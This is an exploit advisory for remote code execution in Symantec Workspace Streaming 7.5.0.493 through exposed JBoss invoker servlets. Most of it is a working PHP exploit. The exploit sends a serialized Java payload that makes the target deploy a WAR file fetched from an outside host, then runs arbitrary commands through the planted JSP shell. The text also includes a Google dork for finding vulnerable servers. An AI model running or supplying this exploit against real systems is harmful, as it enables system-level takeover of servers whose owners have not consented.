Symantec Workspace Streaming 7.5.0.493 Rmote Code Execution

2013.10.27
Credit: rgod
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Symantec Workspace Streaming 7.5.0.493 SWS Streamlet Engine Invoker Servlets Remote Code Execution tested against: Microsoft Windows Server 2008 R2 sp1 download url: http://www.symantec.com/it/it/products-solutions/trialware/ file tested: Symantec_Workspace_Streaming_7.5.0.493.zip vulnerability: the "SWS Streamlet Engine" service (as_ste.exe) listening on public port 9832 (tcp/http) is vulnerable. It exposes the following servlet http://[host]:9832/invoker/EJBInvokerServlet http://[host]:9832/invoker/JMXInvokerServlet due to a bundled invoker.sar The result is remote code execution with NT AUTHORITY\SYSTEM privileges. proof of concept url: http://retrogod.altervista.org/9sg_ejb.html proof of concept: <?php /* Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object Remote Code Execution google dork: inurl:status EJBInvokerServlet this was used successfully on Windows during a penetration test against McAfee Web Reporter 5.2.1 (tcp port 9111/http) gaining administrative privileges see: http://www.mcafee.com/it/downloads/downloads.aspx file tested: webreporter64bit.zip Usage: C:\PHP>php 9sg_ejb.php 192.168.0.1 id HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=2006101 62339)/Tomcat-5.5 Set-Cookie: JSESSIONID=E9EEE1D6AD27D64ED3835C1092C4FC29; Path=/ Content-Type: text/html;charset=ISO-8859-1 Content-Length: 43 Date: Fri, 04 Oct 2013 07:25:48 GMT Connection: close uid=0(root) gid=0(root) groups=0(root) C:\PHP> ~ rgod ~ */ $host=$argv[1]; $cmd=$argv[2]; //$port=9111; //mcafee $port=80; //small jsp shell //change this if you want, url to the app to be deployed, keep it short $url="http://retrogod.altervista.org/a.war?"; $url_len=pack("n",strlen($url)); function hex_dump($data, $newline="\n") { static $from = ''; static $to = ''; static $width = 16; static $pad = '.'; if ($from==='') { for ($i=0; $i<=0xFF; $i++) { $from .= chr($i); $to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad; } } $hex = str_split(bin2hex($data), $width*2); $chars = str_split(strtr($data, $from, $to), $width); $offset = 0; foreach ($hex as $i => $line) { echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . ']' . $newline; $offset += $width; } } $frag_i= "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". // ....sr.) org.jbos "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". // s.invoca tion.Mar "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". // shalledI nvocatio "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". // n...'A>. ....xppw "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". // .x..G..S .sr..jav "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". // a.lang.I nteger.. "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". // .....8.. .I..valu "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". // exr..jav a.lang.N "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". // umber... ........ "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". // xp&...sr .$org.jb "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". // oss.invo cation.M "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". // arshalle dValue.. "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77"; $frag_ii="\x00"; $frag_iii= "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". // .....ur. .[Ljava. "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". // lang.Obj ect;..X. "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". // .s)l...x p....sr. "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". // .javax.m anagemen "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". // t.Object Name.... "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". // .m.....x pt.!jbos "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". // s.system :service "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". // =MainDep loyerxt. "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". // .deployu q.~..... "\x01\x74". $url_len. $url. "\x75\x72\x00". "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". // ur..[ Ljava.la "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". // ng.Strin g;..V... "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". // {G...xp. ...t..ja "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67"; $frag_iv= "\x0d\xd3". "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". // ..xw.... .sr."org "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". // .jboss.i nvocatio "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". // n.Invoca tionKey. "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". // .r...... ..I..ord "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". // inalxp.. ..sq.~.. "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". // w....... ..p.W..x "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". // w.....sq .~...... "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". // sr.#org. jboss.in "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". // vocation .Invocat "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". // ionTypeY .:..+|.. "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". // ..I..ord inalxp.. "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". // ..sq.~.. ....pt.. "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". // JMX_OBJE CT_NAMEs "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". // r..javax .managem "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". // ent.Obje ctName.. "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". // ...m.... .xpt.!jb "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". // oss.syst em:servi "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". // ce=MainD eployerx "\x78"; // x $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv; //$pk=""POST /invoker/JMXInvokerServlet/ HTTP/1.1\r\n". //the same ... $pk="POST /invoker/EJBInvokerServlet/ HTTP/1.1\r\n". "ContentType: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation\r\n". "Accept-Encoding: x-gzip,x-deflate,gzip,deflate\r\n". "User-Agent: Java/1.6.0_21\r\n". "Host: ".$host.":".$port."\r\n". "Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n". "Connection: keep-alive\r\n". "Content-type: application/x-www-form-urlencoded\r\n". "Content-Length: ".strlen($data)."\r\n\r\n". $data; echo hex_dump($pk)."\n"; $fp=fsockopen($host,$port,$e,$err,3); fputs($fp,$pk); $out=fread($fp,8192); fclose($fp); echo hex_dump($out)."\n"; sleep(5); $pk="GET /a/pwn.jsp?cmd=".urlencode($cmd)." HTTP/1.0\r\n". "Host: ".$host.":".$port."\r\n". "Connection: Close\r\n\r\n"; echo hex_dump($pk)."\n"; $fp=fsockopen($host,$port,$e,$err,3); fputs($fp,$pk); $out=""; while (!feof($fp)) { $out.=fread($fp,8192); } fclose($fp); echo $out; ?>

References:

http://retrogod.altervista.org/9sg_ejb.html


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